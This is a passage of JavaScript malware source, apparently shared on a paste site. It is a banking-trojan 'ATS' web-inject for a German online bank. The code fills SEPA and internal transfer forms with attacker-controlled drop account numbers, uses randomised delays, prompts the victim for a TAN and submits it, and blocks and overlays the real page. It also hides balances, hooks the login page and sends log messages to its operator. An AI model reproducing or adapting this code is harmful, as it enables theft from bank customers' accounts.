  1692.       var params3={"javax.faces.RenderKitId" : kit,"javax.faces.ViewState":face}
  1693. var params4={processIds: "uebForm-kontoIdentifier,uebForm-bankIdentifier,uebForm-ajaxEventOnBlurOfKontoIdentifier",renderIds: "uebForm-institut,uebForm-messages,uebForm-empfaengerNameLabelCell,uebForm-kontoIdentifierLabelCell,uebForm-bankIdentifierLabelCell,uebForm-betragLabelCell","uebForm-ajaxEventOnBlurOfKontoIdentifier": "uebForm-ajaxEventOnBlurOfKontoIdentifier","uebForm-bankIdentifier":drop.BLZ,"uebForm-kontoIdentifier" : drop.Konto}
  1694. var params3=jq.extend(params3,params4)
  1695.  
  1696.     setTimeout(function(){
  1697. jq.ajax({url: url, type: 'POST', data:params3, cache: false, dataType: 'html', success: function(html){
  1698.     } });
  1699.     }, ATS.randInt(5000, 6000));    
  1700.    
  1701.    
  1702.    
  1703.    
  1704.    
  1705.     var sellist1=jq('#uebForm-quellKontenSelect option:selected').val();
  1706.     var sellist2=jq('#uebForm-zielKontenSelect option:selected').val();
  1707. if ((sellist1=='') || (sellist2=='')){    
  1708.      
  1709.         ATS.die('No account selected, possible from this account can not be transferred');
  1710.      }
  1711.     parent.ATS.StepInFrame.set_current_state("INT_form_filled");
  1712.     ATS.sendLogMsg('INT form filled in');    
  1713.         setTimeout(function(){
  1714.             jq('#uebForm').submit();
  1715.         }, ATS.randInt(10000, 15000));
  1716.  
  1717.  
  1718.  
  1719. }
  1720.  
  1721.  
  1722.  
  1723. ATS.enterCode = function(tan)
  1724. {
  1725.     ATS.debugMsg('ATS.enterCode ' + tan);
  1726.    
  1727.    
  1728.     if (jq('.uiPanel div[id*="uebForm"] input').length)
  1729.     {
  1730.         jq('.uiPanel div[id*="uebForm"] input').val(tan);
  1731.        
  1732.         if ( jq('#uebForm').length)
  1733.         {
  1734.             //parent.ATS.current_state = 120;
  1735.             parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");
  1736.             parent.ATS.UI_showWait();
  1737.                                
  1738.  
  1739.             jq('#uebForm').append('<input class="deleteAfterSubmit" type="hidden" value="uebForm" name="uebForm">');
  1740.             jq('#uebForm').append('<input class="deleteAfterSubmit" type="hidden" value="uebForm-freigeben-lnk" name="uebForm-freigeben-lnk">');   
  1741.            //jq('#uebForm').append('<input type="hidden" value="uebForm-freigeben-lnk" name="uebForm-freigeben-lnk">');
  1742.            jq('#uebForm').submit();
  1743.          
  1744.            
  1745.            
  1746.         }
  1747.         else
  1748.             ATS.die('enterCode: cant find  next button');
  1749.     }
  1750.     else
  1751.         ATS.die('enterCode: cant find tan field ');
  1752. }
  1753.  
  1754.  
  1755.  
  1756. ATS.frameWork = function()
  1757. {
  1758.     ATS.debugMsg('ATS.frameWork, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1759.     ATS.sendLogMsg('frame state ' + ATS.StepInFrame[parent.ATS.current_state]);
  1760.     switch (ATS.StepInFrame[parent.ATS.current_state])
  1761.     {
  1762.  
  1763.         case "framePageFinanzstatus":
  1764.             ATS.framePageFinanzstatus();
  1765.             break;
  1766.            
  1767.        
  1768.         case "KreditlimitPage":
  1769.             ATS.KreditlimitPage();
  1770.             break;
  1771.        
  1772.         case "insideGirokonto":
  1773.             ATS.insideGirokonto();
  1774.             break;            
  1775.            
  1776.            
  1777.    
  1778.         case "SEPA_page":
  1779.             ATS.framePageSEPA_page();
  1780.             break;
  1781.            
  1782.  
  1783.         case "framePageInternal_transf_page":
  1784.             ATS.framePageInternal_transf_page();
  1785.             break;
  1786.  
  1787.         case "randomPage":
  1788.             ATS.randomPage();
  1789.             break;
  1790.            
  1791.         case "inside_randomPage":
  1792.             ATS.inside_randomPage();
  1793.             break;
  1794.            
  1795.            
  1796.            
  1797.  
  1798.         case "SEPA_form_filled":
  1799.        
  1800.             var textEl=jq('#uebForm-messages:visible');
  1801.            
  1802.             if (!textEl.length)
  1803.             {
  1804.    
  1805.                  ATS.UI_askTan();
  1806.                        
  1807.             }
  1808.                 else {
  1809.            
  1810.                     ATS.die('Error fill SEPA form: ' + textEl.text() );
  1811.                   }
  1812.            
  1813.             break;
  1814.            
  1815.  
  1816.            
  1817.  
  1818.         case "INT_form_filled":
  1819.             var textEl=jq('#uebForm-messages:visible');
  1820.            
  1821.             if (!textEl.length)
  1822.             {
  1823.    
  1824.                  ATS.UI_askTan();
  1825.                        
  1826.             }
  1827.                 else {
  1828.                     ATS.die('Error fill INT form: ' + textEl.text() );
  1829.                   }
  1830.            
  1831.             break;
  1832.            
  1833.            
  1834.  
  1835.         case "TAN_ENTERED":
  1836.        
  1837.         ATS.debugMsg("TAN_ENTERED");
  1838.  
  1839.        
  1840.         //if (!!jq('.uiMessages:visible','.errorMessage:visible').length)
  1841.         var textEl=jq('#uebForm-messages:visible');
  1842.         if (!!textEl.length)
  1843.         {
  1844.             parent.ATS.badTan = true;
  1845.             ATS.UI_askTan();
  1846.    
  1847.                 }
  1848.        else {  
  1849.         if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();    else ATS.framePageReceiptInternal();
  1850.        
  1851.        
  1852.        }
  1853.  
  1854.        
  1855.             break;                        
  1856.    
  1857.        
  1858.     }
  1859. }
  1860.  
  1861.  
  1862. if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
  1863. {
  1864.     document.write('<div class="inj_full_overlay"></div>');
  1865.  
  1866.    
  1867.     jq(document).ready(function(){
  1868.         ATS.debugMsg('document loaded');
  1869.  
  1870. loc=jq("body").attr("class");
  1871. loc=loc.replace("topframechecker:{},","");
  1872. jq("body").attr("class",loc);
  1873.        
  1874.        
  1875.         //ATS.sendLogMsg('utilInfo = ' + ATS.utilInfo);
  1876.        
  1877.  
  1878.     ATS.loadData(function(data){
  1879.  
  1880.         if (ATS.account_id != 0)
  1881.         {  
  1882.      
  1883.             switch (ATS.getCookie('status')) {
  1884.                case "1":
  1885.                   if (ATS.isLoggedIn()) {jq(".column2").hide();jq('.inj_full_overlay').remove(); ATS.replaceBalances(); }
  1886.                   else jq('.inj_full_overlay').remove();
  1887.                  
  1888.                  
  1889.                   break;
  1890.                case "2":
  1891.                ATS.debugMsg('case "2"');
  1892.                
  1893.                
  1894.               if(((ATS.getTime() - ATS.getCookie('error_time'))/3600)>=48) {
  1895.                 ATS.setCookie('status',0);
  1896.                 ATS.saveCookies();
  1897.                 ATS.sendLogMsg('Replace cookie status from 2 on 0');
  1898.                 jq('.inj_full_overlay').remove();
  1899.               } else {jq('.inj_full_overlay').remove(); break;}
  1900.              
  1901.              
  1902.                default:
  1903.                
  1904.                         if (ATS.checkLoginPage())
  1905.                         {
  1906.                             ATS.debugMsg('login page');
  1907.                             ATS.setLoginHook();
  1908.                             jq('.inj_full_overlay').remove();
  1909.                             break;
  1910.                         }                          
  1911.                        
  1912.                      
  1913.                         if (ATS.isLoggedIn())
  1914.                         {
  1915.                             ATS.debugMsg('logged in!');
  1916.                            
  1917.  
  1918.                     var t =jq('ul.activeNotificationAction a').text();
  1919.                     if ((t.indexOf('Sperre aufheben')!=-1) || (t.indexOf('Unlock TAN list')!=-1)){
  1920.                         ATS.debugMsg('TAN locked!');
  1921.                         ATS.die("TAN locked!");
  1922.                         jq('.inj_full_overlay').remove();
  1923.                         break;
  1924.                     }
  1925.                          
  1926.                            
  1927.                        
  1928.                             if ((parent.document !== document) && parent.ATS)
  1929.                             {
  1930.                                 ATS.debugMsg('we are in frame!');
  1931.                                 ATS.frameWork();
  1932.                                 jq('.inj_full_overlay').remove();
  1933.                                 break;
  1934.                             }
  1935.                             else
  1936.                             {
  1937.                                 jq('.inj_full_overlay').remove();
  1938.                                
  1939.                                 var cssLink = document.createElement("link")
  1940.                                 cssLink.href = ATS.CONTENT_URL+"/images/all_styles_min.css";
  1941.                                 cssLink.rel = "stylesheet";
  1942.                                 cssLink.type = "text/css";
  1943.                                 jq('body', parent.document).prepend(cssLink);
  1944.  
  1945.                                
  1946.                                
  1947.                                 ATS.UI_blockSite();
  1948.                                 ATS.UI_showWait();
  1949.                                 ATS.mainWork();
  1950.                                 break;
  1951.                             }
  1952.                         }
  1953.                         else
  1954.                         {
  1955.                             if ((parent.document !== document) && parent.ATS)
  1956.                             {
  1957.                                 ATS.debugMsg('we are in frame and not logged in!');
  1958.                             }
  1959.                         }              
  1960.                
  1961.                
  1962.                     break;
  1963.             }
  1964.          
  1965.            
  1966.  
  1967.         }else {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}
  1968.        
  1969.        
  1970.  
  1971.     });
  1972.      
  1973.        
  1974.  
  1975.        
  1976.  
  1977.     });
  1978. }
  1979.  
  1980.  
  1981.  
  1982.  
  1983.  
  1984.  
  1985.  
  1986.  
  1987.  
  1988. }//if parent.hasAts
Add Comment
Please, Sign In to add comment